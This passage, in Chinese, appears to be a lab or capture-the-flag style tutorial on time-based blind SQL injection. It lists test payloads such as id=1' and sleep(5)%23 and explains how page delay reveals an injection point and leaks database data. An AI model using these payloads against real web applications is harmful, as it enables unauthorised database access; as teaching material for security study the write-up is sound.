payload:id=1
,回显结果:You are in...........
payload:id=1'%23
,回显结果:You are in...........
payload:id=1"%23
,回显:You are in...........
payload:id=1' and 1=1%23
,回显:You are in...........
payload:id=1' and 1=2%23
,回显:You are in...........
通过几次测试我们发现,不管输入啥,输出都是You are in...........
,也就是说我们根本看不到页面给我们的回馈信息,以至于我们无法判断这里是不是注入点,,,,,
不能通过页面的输出来判断,那么还有啥办法能判断出我们构造输入的参数在后台数据库到底有没有被执行呢?
在sql中有一个函数sleep(),可以让程序挂起指定的时间。既然不能通过页面的输出信息来判断是否存在注入点,那么在这里就通过页面的运行时间来判断。
先来在认识一下这个函数。
我们什么也不做,就让程序睡眠指定的时间
sleep()函数与if语句结合判断。if(str1,str2,str3),类似于c语言中的三目运算符,如果str1为真,执行str2,否则执行str3。
在构造payload的时候,发现需要对单引号进行闭合。
payload:id=1' and sleep(5)%23
,页面睡眠了5秒。
OK,接下来,我们就可以根据页面的耗时来判断以及获取后台数据库的信息了。